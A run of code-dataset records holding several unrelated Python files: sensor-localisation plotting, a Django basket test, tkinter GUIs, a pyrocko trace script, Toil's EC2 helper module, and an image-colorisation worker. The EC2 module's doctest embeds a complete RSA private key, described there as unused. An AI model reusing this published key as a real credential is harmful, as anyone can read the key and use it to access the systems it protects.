print(\"A\\n\",A,\"\\nB\\n\",B)\n\n\t\tcluster_of_intersected_points = np.array(cluster_of_intersected_points)\n\n\t\t# print(\"CLUSTER#############################\")\n\t\t# print(cluster_of_intersected_points[:,0])\n\t\t# print(cluster_of_intersected_points[:,1])\n\t\t# m_x = np.mean(cluster_of_intersected_points[:,0])\n\t\t# m_y\t= np.mean(cluster_of_intersected_points[:,1])\t\t\t\n\n\t\tm_x = np.median(cluster_of_intersected_points[:,0])\n\t\tm_y\t= np.median(cluster_of_intersected_points[:,1])\t\t\t\n\n\n\t\tax.scatter(m_x,m_y,marker='o', color='yellow',s=400)\n\t\tu_x = m_x\n\t\tu_y = m_y\n\t\t\t# scipy.cluster.vq.kmeans2()\n\t\t\t# m = np.median(M[beacon])\n\t\t\t# # m=M[beacon][int(len(M[beacon])/2)]\n\t\t\t# c = find_intercept_given_beacon_and_gradient(beacon, m)\n\t\t\t# if(not gt):\n\t\t\t# \tprint(beacon,\",\",M[beacon])\n\t\t\t# \tprint(s,\",\",beacon, \"min:\", np.min(M[beacon]))\n\t\t\t# \tprint(s,\",\",beacon, \"max:\", np.max(M[beacon]))\n\t\t\t# \tprint(s,\",\",beacon, \"std dev:\", np.std(M[beacon]))\n\t\t\t# \tprint(s,\",\",beacon, \"variance:\", np.var(M[beacon]))\n\t\t\t# # print(\"m\",m,\"c\",c)\n\t\t\t# # if(m != 0):\n\t\t\t# # \tm = m/c\n\t\t\t# # \tc = 1\n\t\t\t# if(plot_it):\n\t\t\t# \tax.plot(x, (m*x)+c, alpha=1, linewidth=3, linestyle=\":\", color=colors[beacon])#, label=\"y = x**2\")\n\t\t\t# # A.append([1, -m])\n\t\t\t# # B.append(c)\n\t\t\t# if(m!=0):\n\t\t\t# \tA.append([1, -1/m])\n\t\t\t# \tB.append(-c/m)\n\t\t\t# else:\n\t\t\t# \tA.append([1,0])\n\t\t\t# \tB.append(0)\n\n\t# print(\"A\\n\",A,\"\\nB\\n\",B)\n\t# if(b==\"all\" and sensor==s):\n\t# x = np.linalg.lstsq(A, B, rcond=-1)\n\t# u_y = x[0][0]\n\t# u_x = x[0][1]\n\t# # print(x)\n\t# print(x,x[0])\n\t# print(\"######################\")\n\t# print(linalg.cond(A))\n\n\t# u_x, u_y = solve_sys_of_eqn(np.array(A), np.array(B), lstsq)\n\t# print(\"\\n\\nM\\n\",M,\"\\n\")\n\t# print(\"\\n\\nD\\n\",D,\"\\n\")\n\treturn u_x, u_y\n\ndef plot(b, s, ax, sx, sy, u_x, u_y):\n\n\n\tfor i in range(10):\n\t\tax.text(sx[i]+10, sy[i]-10, \"s\"+str(i+1))\n\t\tif(s == 's'+str(i+1)):\n\t\t\tax.scatter(sx[i],sy[i],marker='o', color='pink',s=400, alpha=1)\n\n\n\tax.scatter(sx,sy,marker='x', color='blue')\n\tax.scatter(bx,by,marker='o', color='green')\n\n\n\tax.scatter(np.array([u_x]),np.array([u_y]),marker='*', color='red')#,c=[100])\n\tax.text(np.array([u_x])+10,np.array([u_y])+10, s, color='red')#,c=[100])\n\n\t# print(count_beacons)\n\tsensorid = int(s[1:]) - 1\n\t# print(sensorid)\n\tactual_x = sx[sensorid]\n\tactual_y = sy[sensorid]\n\tprint(\"RESULTS,%s,%s,actual,(%d %d),computed,(%d %d),%d\"% (s,str(b),actual_x, actual_y, u_x, u_y, math.sqrt((actual_y - u_y)**2 + (actual_x - u_x)**2)))\n\n\n\n\ndef compute_ground_truth(ground_truth_file):\n\tfor i in range(10):\n\t\ts = \"s\" + str(i+1)\n\t\t# print(\"###################\",s)\n\t\tu_x, u_y = compute_sensor_location(['b1','b2','b3','b4'] ,s, ground_truth_file, plot_it=0, gt=1, lstsq=0)\n\t\tsx.append(u_x)\n\t\tsy.append(u_y)\n\n\tb_dis_all = []\n\tfor i in range(10):\n\t\tb_dis = []\n\t\ts = \"s\" + str(i+1)\n\t\t# print(\"DISTANCE,\",s,end=\"\")\n\t\tfor j in [1,2,3,4]:#range(4):\n\t\t\tdistance_b_s = math.sqrt((sx[i] - bx[j-1])**2 + (sy[i] - by[j-1])**2)\n\t\t\t# print(\",b\"+ str(j),\",\",round(distance_b_s),end=\"\")\n\t\t\tb_dis.append(distance_b_s)\n\t\t# print(\",\",sort(b_dis))\n\t\tb_dis_all.append(sort(b_dis))\n\t# print(\"DISTANCE ALL:\",b_dis_all,\"\\n\\n\")\t\t\t\n\tb_dis_all = np.array(b_dis_all)\n\t# print(b_dis_all[:,0])\n\t# print(b_dis_all[:,1])\n\tnp.savetxt(\"b_distance.csv\", b_dis_all, delimiter=\",\")\n\n\ncompute_ground_truth(ground_truth_file)\n# if plot_it:\n# \tplt.show()\n# \tplt.clf()\n# \tplt.cla()\n# \tplt.close()\n# ax.clear()\n# plt.gcf().clear()\n# plt.sh\n# print(\"b\",b)\nu_x, u_y = compute_sensor_location(b ,s, myfile, b3distace, plot_it=1, lstsq=1)\n\n# print(sx)\n# print(sy)\n\nprocessed_beacons = []\nfor beacon1 in b:\n\tprocessed_beacons.append(beacon1)\n\tfor beacon2 in b:\n\t\tif beacon2 not in processed_beacons:\n\t\t\tstd_dev_x, std_dev_y = check_beacons_pair(cluster_by_beacon_pairs[beacon1][beacon2])\n\t\t\tprint(\"std dev,\",beacon1,\",\", beacon2, \",\" , std_dev_x, \",\", std_dev_y)\n\nplot(b, s, ax, sx, sy, u_x, u_y)\nif plot_it:\n\tplt.show()\n","sub_path":"magneto/OTHER_PYTHON/plot_sys_of_eqn_dynamic_config_cluster_of_points.py","file_name":"plot_sys_of_eqn_dynamic_config_cluster_of_points.py","file_ext":"py","file_size_in_byte":11734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"85423551","text":"from django.test import TestCase\nfrom products.models import Products\n\n# Create your tests here.\n\n\nclass TestBasketViews(TestCase):\n\n def setUp(self):\n self.item = Products.objects.create(\n name='Happy Birthday',\n product_type='cards',\n image='img/CardHappyBirthday.jpg',\n description='Some description',\n category='Birthday',\n price=1.99,\n sale_price=0.99,\n size='A4',\n label='some label',\n tags='some tags',\n is_bespoke=False,\n is_active=True,\n )\n self.quantity = 1\n self.basket = {\n 'item': self.item,\n 'quantity': self.quantity,\n }\n\n def test_view_basket(self):\n response = self.client.get('/basket/')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'basket/basket.html')\n\n def test_amend_basket(self):\n response = self.client.get(f'/basket/amend/{self.item.id}/')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'basket/basket.html')\n","sub_path":"basket/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472439438","text":"import tkinter as tk\n\nfrom Interface.Duplicates import Duplicates\nfrom Interface.Finished import Finished\nfrom Interface.Loading import Loading\nfrom Interface.Scanning import Scanning\n\n\nclass Window(tk.Tk):\n def __init__(self, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.frames = {}\n self.current_frame = None\n\n container = tk.Frame(self)\n\n container.pack(side=\"top\", fill=\"both\", expand=True)\n\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n\n self.setup_frames(container)\n\n def setup_frames(self, container):\n for F in (Scanning, Loading, Duplicates, Finished):\n frame = F(container)\n self.frames[F] = frame\n frame.grid(row=0, column=0, sticky=\"nsew\")\n\n def show_frame(self, name):\n self.current_frame = self.frames[name]\n self.current_frame.tkraise()\n return self.current_frame\n\n def set_frame(self, frame: tk.Frame):\n self.frame = frame\n\n def get_frame(self):\n return self.current_frame\n","sub_path":"Interface/Window.py","file_name":"Window.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"328065604","text":"import time\nimport numpy as num\nfrom pyrocko import trace\nfrom pyrocko.io import save\n\n\nnow = time.time()\nydata = num.random.random(1000) - 0.5\n\ntr = [trace.Trace('', 'sta1', '', 'N',\n deltat=0.1,\n tmin=now,\n ydata=ydata),\n trace.Trace('', 'sta2', '', 'E',\n deltat=0.1,\n tmin=now,\n ydata=ydata)]\n\ntrace.snuffle(tr)\n\nc=0\nfor t in tr:\n\tc=c+1\n\tsave(tr,'/home/djamil/Workspace/Python/Course-Boot-Camp/git/tipb-exercise/tmp_file_'+str(c)+\".txt\",'text')\n","sub_path":"randomtrace.py","file_name":"randomtrace.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395539110","text":"import errno\nimport hashlib\nimport logging\nimport time\nfrom collections import Iterator\nfrom operator import attrgetter\nfrom past.builtins import map\nfrom toil.lib.exceptions import panic\nfrom toil.lib.retry import retry\nfrom boto.ec2.ec2object import TaggedEC2Object\nfrom boto.ec2.instance import Instance\nfrom boto.ec2.spotinstancerequest import SpotInstanceRequest\nfrom boto.exception import EC2ResponseError\nfrom toil.lib.misc import partition_seq\nfrom Crypto.PublicKey import RSA\n\na_short_time = 5\n\na_long_time = 60 * 60\n\nlog = logging.getLogger(__name__)\n\n\nclass UserError(RuntimeError):\n def __init__(self, message=None, cause=None):\n if (message is None) == (cause is None):\n raise RuntimeError(\"Must pass either message or cause.\")\n super(\n UserError, self).__init__(\n message if cause is None else cause.message)\n\n\ndef not_found(e):\n return e.error_code.endswith('.NotFound')\n\n\ndef retry_ec2(\n retry_after=a_short_time,\n retry_for=10 *\n a_short_time,\n retry_while=not_found):\n t = retry_after\n return retry(\n delays=(\n t,\n t,\n t * 2,\n t * 4),\n timeout=retry_for,\n predicate=retry_while)\n\n\nclass EC2VolumeHelper(object):\n \"\"\"\n A helper for creating, looking up and attaching an EBS volume in EC2\n \"\"\"\n\n def __init__(\n self,\n ec2,\n name,\n size,\n availability_zone,\n volume_type=\"standard\"):\n \"\"\"\n :param ec2: the Boto EC2 connection object\n :type ec2: boto.ec2.connection.EC2Connection\n \"\"\"\n super(EC2VolumeHelper, self).__init__()\n self.availability_zone = availability_zone\n self.ec2 = ec2\n self.name = name\n self.volume_type = volume_type\n volume = self.__lookup()\n if volume is None:\n log.info(\"Creating volume %s, ...\", self.name)\n volume = self.ec2.create_volume(\n size, availability_zone, volume_type=self.volume_type)\n self.__wait_transition(volume, {'creating'}, 'available')\n volume.add_tag('Name', self.name)\n log.info('... created %s.', volume.id)\n volume = self.__lookup()\n self.volume = volume\n\n def attach(self, instance_id, device):\n if self.volume.attach_data.instance_id == instance_id:\n log.info(\"Volume '%s' already attached to instance '%s'.\" %\n (self.volume.id, instance_id))\n else:\n self.__assert_attachable()\n self.ec2.attach_volume(volume_id=self.volume.id,\n instance_id=instance_id,\n device=device)\n self.__wait_transition(self.volume, {'available'}, 'in-use')\n if self.volume.attach_data.instance_id != instance_id:\n raise UserError(\"Volume %s is not attached to this instance.\")\n\n def __lookup(self):\n \"\"\"\n Ensure that an EBS volume of the given name is available in the current availability zone.\n If the EBS volume exists but has been placed into a different zone, or if it is not\n available, an exception will be thrown.\n\n :rtype: boto.ec2.volume.Volume\n \"\"\"\n volumes = self.ec2.get_all_volumes(filters={'tag:Name': self.name})\n if len(volumes) < 1:\n return None\n if len(volumes) > 1:\n raise UserError(\"More than one EBS volume named %s\" % self.name)\n return volumes[0]\n\n @staticmethod\n def __wait_transition(volume, from_states, to_state):\n wait_transition(volume, from_states, to_state, attrgetter('status'))\n\n def __assert_attachable(self):\n if self.volume.status != 'available':\n raise UserError(\"EBS volume %s is not available.\" % self.name)\n expected_zone = self.availability_zone\n if self.volume.zone != expected_zone:\n raise UserError(\n \"Availability zone of EBS volume %s is %s but should be %s.\" %\n (self.name, self.volume.zone, expected_zone))\n\n\nclass UnexpectedResourceState(Exception):\n def __init__(self, resource, to_state, state):\n super(UnexpectedResourceState, self).__init__(\n \"Expected state of %s to be '%s' but got '%s'\" %\n (resource, to_state, state))\n\n\ndef wait_transition(resource, from_states, to_state,\n state_getter=attrgetter('state')):\n \"\"\"\n Wait until the specified EC2 resource (instance, image, volume, ...) transitions from any\n of the given 'from' states to the specified 'to' state. If the instance is found in a state\n other that the to state or any of the from states, an exception will be thrown.\n\n :param resource: the resource to monitor\n :param from_states:\n a set of states that the resource is expected to be in before the transition occurs\n :param to_state: the state of the resource when this method returns\n \"\"\"\n state = state_getter(resource)\n while state in from_states:\n time.sleep(a_short_time)\n for attempt in retry_ec2():\n with attempt:\n resource.update(validate=True)\n state = state_getter(resource)\n if state != to_state:\n raise UnexpectedResourceState(resource, to_state, state)\n\n\ndef running_on_ec2():\n try:\n with open('/sys/hypervisor/uuid') as f:\n return f.read(3) == 'ec2'\n except IOError as e:\n if e.errno == errno.ENOENT:\n return False\n else:\n raise\n\n\ndef wait_instances_running(ec2, instances):\n \"\"\"\n Wait until no instance in the given iterable is 'pending'. Yield every instance that\n entered the running state as soon as it does.\n\n :param boto.ec2.connection.EC2Connection ec2: the EC2 connection to use for making requests\n :param Iterator[Instance] instances: the instances to wait on\n :rtype: Iterator[Instance]\n \"\"\"\n running_ids = set()\n other_ids = set()\n while True:\n pending_ids = set()\n for i in instances:\n if i.state == 'pending':\n pending_ids.add(i.id)\n elif i.state == 'running':\n assert i.id not in running_ids\n running_ids.add(i.id)\n yield i\n else:\n assert i.id not in other_ids\n other_ids.add(i.id)\n yield i\n log.info('%i instance(s) pending, %i running, %i other.',\n *map(len, (pending_ids, running_ids, other_ids)))\n if not pending_ids:\n break\n seconds = max(a_short_time, min(len(pending_ids), 10 * a_short_time))\n log.info('Sleeping for %is', seconds)\n time.sleep(seconds)\n for attempt in retry_ec2():\n with attempt:\n instances = ec2.get_only_instances(list(pending_ids))\n\n\ndef wait_spot_requests_active(ec2, requests, timeout=None, tentative=False):\n \"\"\"\n Wait until no spot request in the given iterator is in the 'open' state or, optionally,\n a timeout occurs. Yield spot requests as soon as they leave the 'open' state.\n\n :param Iterator[SpotInstanceRequest] requests:\n\n :param float timeout: Maximum time in seconds to spend waiting or None to wait forever. If a\n timeout occurs, the remaining open requests will be cancelled.\n\n :param bool tentative: if True, give up on a spot request at the earliest indication of it\n not being fulfilled immediately\n\n :rtype: Iterator[list[SpotInstanceRequest]]\n \"\"\"\n\n if timeout is not None:\n timeout = time.time() + timeout\n active_ids = set()\n other_ids = set()\n open_ids = None\n\n def cancel():\n log.warn('Cancelling remaining %i spot requests.', len(open_ids))\n ec2.cancel_spot_instance_requests(list(open_ids))\n\n def spot_request_not_found(e):\n error_code = 'InvalidSpotInstanceRequestID.NotFound'\n return isinstance(e, EC2ResponseError) and e.error_code == error_code\n\n try:\n while True:\n open_ids, eval_ids, fulfill_ids = set(), set(), set()\n batch = []\n for r in requests:\n if r.state == 'open':\n open_ids.add(r.id)\n if r.status.code == 'pending-evaluation':\n eval_ids.add(r.id)\n elif r.status.code == 'pending-fulfillment':\n fulfill_ids.add(r.id)\n else:\n log.info(\n 'Request %s entered status %s indicating that it will not be '\n 'fulfilled anytime soon.', r.id, r.status.code)\n elif r.state == 'active':\n assert r.id not in active_ids\n active_ids.add(r.id)\n batch.append(r)\n else:\n assert r.id not in other_ids\n other_ids.add(r.id)\n batch.append(r)\n if batch:\n yield batch\n log.info('%i spot requests(s) are open (%i of which are pending evaluation and %i '\n 'are pending fulfillment), %i are active and %i are in another state.',\n *map(len, (open_ids, eval_ids, fulfill_ids, active_ids, other_ids)))\n if not open_ids or tentative and not eval_ids and not fulfill_ids:\n break\n sleep_time = 2 * a_short_time\n if timeout is not None and time.time() + sleep_time >= timeout:\n log.warn('Timed out waiting for spot requests.')\n break\n log.info('Sleeping for %is', sleep_time)\n time.sleep(sleep_time)\n for attempt in retry_ec2(retry_while=spot_request_not_found):\n with attempt:\n requests = ec2.get_all_spot_instance_requests(\n list(open_ids))\n except BaseException:\n if open_ids:\n with panic(log):\n cancel()\n raise\n else:\n if open_ids:\n cancel()\n\n\ndef create_spot_instances(\n ec2,\n price,\n image_id,\n spec,\n num_instances=1,\n timeout=None,\n tentative=False,\n tags=None):\n \"\"\"\n :rtype: Iterator[list[Instance]]\n \"\"\"\n def spotRequestNotFound(e):\n return e.error_code == \"InvalidSpotInstanceRequestID.NotFound\"\n\n for attempt in retry_ec2(retry_for=a_long_time,\n retry_while=inconsistencies_detected):\n with attempt:\n requests = ec2.request_spot_instances(\n price, image_id, count=num_instances, **spec)\n\n if tags is not None:\n for requestID in (request.id for request in requests):\n for attempt in retry_ec2(retry_while=spotRequestNotFound):\n with attempt:\n ec2.create_tags([requestID], tags)\n\n num_active, num_other = 0, 0\n # noinspection PyUnboundLocalVariable,PyTypeChecker\n # request_spot_instances's type annotation is wrong\n for batch in wait_spot_requests_active(ec2,\n requests,\n timeout=timeout,\n tentative=tentative):\n instance_ids = []\n for request in batch:\n if request.state == 'active':\n instance_ids.append(request.instance_id)\n num_active += 1\n else:\n log.info(\n 'Request %s in unexpected state %s.',\n request.id,\n request.state)\n num_other += 1\n if instance_ids:\n # This next line is the reason we batch. It's so we can get multiple instances in\n # a single request.\n yield ec2.get_only_instances(instance_ids)\n if not num_active:\n message = 'None of the spot requests entered the active state'\n if tentative:\n log.warn(message + '.')\n else:\n raise RuntimeError(message)\n if num_other:\n log.warn('%i request(s) entered a state other than active.', num_other)\n\n\ndef inconsistencies_detected(e):\n if e.code == 'InvalidGroup.NotFound':\n return True\n m = e.error_message.lower()\n return 'invalid iam instance profile' in m or 'no associated iam roles' in m\n\n\ndef create_ondemand_instances(ec2, image_id, spec, num_instances=1):\n \"\"\"\n Requests the RunInstances EC2 API call but accounts for the race between recently created\n instance profiles, IAM roles and an instance creation that refers to them.\n\n :rtype: list[Instance]\n \"\"\"\n instance_type = spec['instance_type']\n log.info('Creating %s instance(s) ... ', instance_type)\n for attempt in retry_ec2(retry_for=a_long_time,\n retry_while=inconsistencies_detected):\n with attempt:\n return ec2.run_instances(image_id,\n min_count=num_instances,\n max_count=num_instances,\n **spec).instances\n\n\ndef tag_object_persistently(tagged_ec2_object, tags_dict):\n \"\"\"\n Object tagging occasionally fails with \"NotFound\" types of errors so we need to\n retry a few times. Sigh ...\n\n :type tagged_ec2_object: TaggedEC2Object\n \"\"\"\n for attempt in retry_ec2():\n with attempt:\n tagged_ec2_object.add_tags(tags_dict)\n\n\ndef ec2_keypair_fingerprint(ssh_key, reject_private_keys=False):\n \"\"\"\n Computes the fingerprint of a public or private OpenSSH key in the way Amazon does it for\n keypairs resulting from either importing a SSH public key or generating a new keypair.\n\n :param ssh_key: a RSA public key in OpenSSH format, or an RSA private key in PEM format\n\n :return: The fingerprint of the key, in pairs of two hex digits with a colon between\n pairs.\n\n >>> ssh_pubkey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvdDMvcwC1/5ByUhO1wh1sG6ficwgGHRab/p'\\\\\n ... 'm6LN60rgxv+u2eJRao2esGB9Oyt863+HnjKj/NBdaiHTHcAHNq/TapbvEjgHaKgrVdfeMdQbJhWjJ97rql9Yn8k'\\\\\n ... 'TNsXOeSyTW7rIKE0zeQkrwhsztmATumbQmJUMR7uuI31BxhQUfD/CoGZQrxFalWLDZcrcYY13ynplaNA/Hd/vP6'\\\\\n ... 'qWO5WC0dTvzROEp7VwzJ7qeN2kP1JTh+kgVRoYd9mSm6x9UVjY6jQtZHa01Eg05sFraWgvNAvKhk9LS9Kiwhq8D'\\\\\n ... 'xHdWdTamnGLtwXYQbn7RjG3UADAiTOWk+QSmU2igZvQ2F hannes@soe.ucsc.edu\\\\n'\n >>> ec2_keypair_fingerprint(ssh_pubkey)\n 'a5:5a:64:8a:1e:3f:4e:46:cd:1f:e9:b3:fc:cf:c5:19'\n\n >>> # This is not a private key that is in use, in case you were wondering\n >>> ssh_private_key = \\\\\n ... '-----BEGIN RSA PRIVATE KEY-----\\\\n'+\\\\\n ... 'MIIEpQIBAAKCAQEAi3shPK00+/6dwW8u+iDkUYiwIKl/lv0Ay5IstLszwb3CA4mVRlyq769HzE8f\\\\n'\\\\\n ... 'cnzQUX/NI8y9MTO0UNt2JDMJWW5L49jmvxV0TjxQjKg8KcNzYuHsEny3k8LxezWMsmwlrrC89O6e\\\\n'\\\\\n ... 'oo6boc8ForSdjVdIlJbvWu/82dThyFgTjWd5B+1O93xw8/ejqY9PfZExBeqpKjm58OUByTpVhvWe\\\\n'\\\\\n ... 'jmbZ9BL60XJhwz9bDTrlKpjcGsMZ74G6XfQAhyyqXYeD/XOercCSJgQ/QjYKcPE9yMRyucHyuYZ8\\\\n'\\\\\n ... 'HKzmG+u4p5ffnFb43tKzWCI330JQcklhGTldyqQHDWA41mT1QMoWfwIDAQABAoIBAF50gryRWykv\\\\n'\\\\\n ... 'cuuUfI6ciaGBXCyyPBomuUwicC3v/Au+kk1M9Y7RoFxyKb/88QHZ7kTStDwDITfZmMmM5QN8oF80\\\\n'\\\\\n ... 'pyXkM9bBE6MLi0zFfQCXQGN9NR4L4VGqGVfjmqUVQat8Omnv0fOpeVFpXZqij3Mw4ZDmaa7+iA+H\\\\n'\\\\\n ... '72J56ru9i9wcBNqt//Kh5BXARekp7tHzklYrlqJd03ftDRp9GTBIFAsaPClTBpnPVhwD/rAoJEhb\\\\n'\\\\\n ... 'KM9g/EMjQ28cUMQSHSwOyi9Rg/LtwFnER4u7pnBz2tbJFvLlXE96IQbksQL6/PTJ9H6Zpp+1fDcI\\\\n'\\\\\n ... 'k/MKSQZtQOgfV8V1wlvHX+Q0bxECgYEA4LHj6o4usINnSy4cf6BRLrCA9//ePa8UjEK2YDC5rQRV\\\\n'\\\\\n ... 'huFWqWJJSjWI9Ofjh8mZj8NvTJa9RW4d4Rn6F7upOuAer9obwfrmi4BEQSbvUwxQIuHOZ6itH/0L\\\\n'\\\\\n ... 'klqQBuhJeyr3W+2IhudJUQz9MEoddOfYIybXqkF7XzDl2x6FcjcCgYEAnunySmjt+983gUKK9DgK\\\\n'\\\\\n ... '/k1ki41jCAcFlGd8MbLEWkJpwt3FJFiyq6vVptoVH8MBnVAOjDneP6YyNBv5+zm3vyMuVJtKNcAP\\\\n'\\\\\n ... 'MAxrl5/gyIBHRxD+avoqpQX/17EmrFsbMaG8IM0ZWB2lSDt45sDvpmSlcTjzrHIEGoBbOzkOefkC\\\\n'\\\\\n ... 'gYEAgmS5bxSz45teBjLsNuRCOGYVcdX6krFXq03LqGaeWdl6CJwcPo/bGEWZBQbM86/6fYNcw4V2\\\\n'\\\\\n ... 'sSQGEuuQRtWQj6ogJMzd7uQ7hhkZgvWlTPyIRLXloiIw1a9zV6tWiaujeOamRaLC6AawdWikRbG9\\\\n'\\\\\n ... 'BmrE8yFHZnY5sjQeL9q2dmECgYEAgp5w1NCirGCxUsHLTSmzf4tFlZ9FQxficjUNVBxIYJguLkny\\\\n'\\\\\n ... '/Qka8xhuqJKgwlabQR7IlmIKV+7XXRWRx/mNGsJkFo791GhlE21iEmMLdEJcVAGX3X57BuGDhVrL\\\\n'\\\\\n ... 'GuhX1dfGtn9e0ZqsfE7F9YWodfBMPGA/igK9dLsEQg2H5KECgYEAvlv0cPHP8wcOL3g9eWIVCXtg\\\\n'\\\\\n ... 'aQ+KiDfk7pihLnHTJVZqXuy0lFD+O/TqxGOOQS/G4vBerrjzjCXXXxi2FN0kDJhiWlRHIQALl6rl\\\\n'\\\\\n ... 'i2LdKfL1sk1IA5PYrj+LmBuOLpsMHnkoH+XRJWUJkLvowaJ0aSengQ2AD+icrc/EIrpcdjU=\\\\n'+\\\\\n ... '-----END RSA PRIVATE KEY-----\\\\n'\n >>> ec2_keypair_fingerprint(ssh_private_key)\n 'ac:23:ae:c3:9a:a3:78:b1:0f:8a:31:dd:13:cc:b1:8e:fb:51:42:f8'\n \"\"\"\n rsa_key = RSA.importKey(ssh_key)\n is_private_key = rsa_key.has_private()\n if is_private_key and reject_private_keys:\n raise ValueError('Private keys are disallowed')\n der_rsa_key = rsa_key.exportKey(format='DER', pkcs=(8 if is_private_key else 1))\n key_hash = (hashlib.sha1 if is_private_key else hashlib.md5)(der_rsa_key)\n return ':'.join(partition_seq(key_hash.hexdigest(), 2))\n","sub_path":"src/toil/lib/ec2.py","file_name":"ec2.py","file_ext":"py","file_size_in_byte":17255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"117132535","text":"import tensorflow as tf\r\nimport redis\r\nimport cv2 as cv\r\nimport numpy as np\r\nimport pymongo\r\nimport os\r\nfrom bson.objectid import ObjectId\r\nimport time\r\nfrom datetime import datetime\r\nimport json\r\nimport traceback\r\nfrom util import processing\r\n\r\n\r\n\r\nlist_name = os.environ[\"LIST_NAME\"]\r\nDB_URI = os.environ[\"DB_URI\"]\r\nDB_NAME = os.environ[\"DB_NAME\"]\r\nDB_COLLECTION = os.environ[\"DB_COLLECTION\"]\r\n\r\n\r\n\r\nprint(f\"{datetime.now()}: Connecting to Database\", flush=True)\r\nclient = pymongo.MongoClient(DB_URI)\r\nprint(f\"{datetime.now()}: Connected to Database\", flush=True)\r\n\r\nprint(f\"{datetime.now()}: Loading the Model\", flush=True)\r\ngenerator = tf.keras.models.load_model(\"./color_generator_100.h5\")\r\nprint(f\"{datetime.now()}: Model Loaded\", flush=True)\r\n\r\n\r\nprint(f\"{datetime.now()}: Connecting to Queue\", flush=True)\r\nredis_client = redis.Redis(host=\"redis\", port=\"6379\")\r\nfinished_list = redis_client\r\nprint(f\"{datetime.now()}: Connected to Queue\", flush=True)\r\n\r\n\r\n\r\ndef updateDocument(post_id,original_buffer, color_buffer):\r\n\tresult = client[DB_NAME][DB_COLLECTION].update_one({'_id': ObjectId(post_id)}, {'$set': {\"original\":original_buffer, 'color':color_buffer}})\r\n\treturn result\r\n\r\ndef insertDocument(message):\r\n\tresult = client[DB_NAME][DB_COLLECTION].insert_one(message)\r\n\treturn result\r\n\r\n\r\nwhile(True):\r\n\tmessage = redis_client.rpop(list_name)\r\n\r\n\tif(message):\r\n\t\t# getting the message and message id\r\n\t\tmessage = json.loads(message)\r\n\r\n\t\t# processing the image\r\n\t\t# if there is an error, it will pass an black image \r\n\t\ttry:\r\n\t\t\tfinal_image, original_resized_image = processing(generator, message)\t\t\r\n\t\texcept Exception as error:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\tfinal_image, original_resized_image = np.zeros((256, 256)), np.zeros((256, 256))\r\n\r\n\t\tis_success, color_image_buffer = cv.imencode(\".jpg\", final_image)\r\n\t\tis_success, original_resized_image_buffer = cv.imencode(\".jpg\", original_resized_image)\r\n\r\n\t\t# Updating the database\r\n\t\tresult = insertDocument( {**message, \"_id\":ObjectId(message['_id']) ,\"original\": original_resized_image_buffer.tostring(), \"color\": color_image_buffer.tostring() })\r\n\t\tfinished_list.set(message[\"_id\"], \"true\")\t\t\r\n\r\n\t\tprint(f\"{datetime.now()}: Inserted into the database and finished list: {result.inserted_id}\", flush=True)\r\n\r\n\ttime.sleep(0.001)\r\n\r\n","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442482190","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 18 15:01:36 2018\n\n@author: Admin\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport individual\nimport generation\nimport gen_series\n\n\n\n##############################################################\n\ndef main():\n gens = gen_series.gen_series()\n #gens.run(#GENERATIONS, #INDS)\n #Standard:\n #100,2000\n gens.run(100, 2000, len_behav_seq = 100, learning_events = 1, mutation_var = 0.01,\n selection_dist_genotype = \"lin\" , opt_behav_seq = None, copy_method = \"fittest_ind\", \n learning_events_env_change = 5, var_env_change_ind_life = 0.05, time_steps_env_change_ind = 10,\n selection_dist_behav = \"uni\", env_change_ind_life = False, learn_and_copy_char_wise = False, \n env_change = True, only_ind_learning = False, math_optimization = False)\n \n \n gen_att_list = gens.attrs_tolist(\"genotype\")\n \n \n \n \n savename = \"PLOT\"\n gen_arr = [0,1,5,20, -1]\n \n locs, labels = gens.linplot_attr(['fitness', 'genotype'], savename = \"plots\\\\test\")\n \n nam = gens.attrs_toDF(\"genotype\")\n alle = gens.attrs_toDF()\n all_attrs_behav = gens.attrs_toDF(\"fitness\", \"behav_seq\")\n \n '''Math Optimization Results'''\n if False:\n fitness_inds = gens.attrs_toDF(\"fitness\")\n tail = fitness_inds.tail(10)\n tail_arr = tail.values\n arg_max = np.unravel_index(tail_arr.argmax(), tail_arr.shape)\n \n max_res = tail.values.max()\n \n behav_seq_inds = gens.attrs_toDF(\"behav_seq\")\n behav_seq_inds_tail = behav_seq_inds.tail(10)\n x_y_res = behav_seq_inds_tail.iloc[arg_max]\n \n def conversion(in_float):\n #Calculate back from behav_seq float bounds of 0 and 1 back to -10 and 10:\n out_float = (in_float - 0.5) * 20 \n return out_float\n \n print(\"The maximum possible value for the function is \", max_res, \" where x = \",\n conversion(x_y_res[0]), \" and y = \", conversion(x_y_res[1]))\n \n \n \n gens.out_bounders_in_behav_seq()\n \nif __name__ == '__main__':\n main()\n\n\n\n\n\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"66809417","text":"import Tkinter\nfrom function import Function\nclass Grapher(Tkinter.Tk):\n\n\tdef __init__(self,parent):\n\t\tTkinter.Tk.__init__(self,parent)\n\t\tself.parent = parent\n\t\tself.width=self.winfo_screenwidth()\n\t\tself.height=self.winfo_screenheight()\n\t\tself.initialize()\n\n\n\tdef 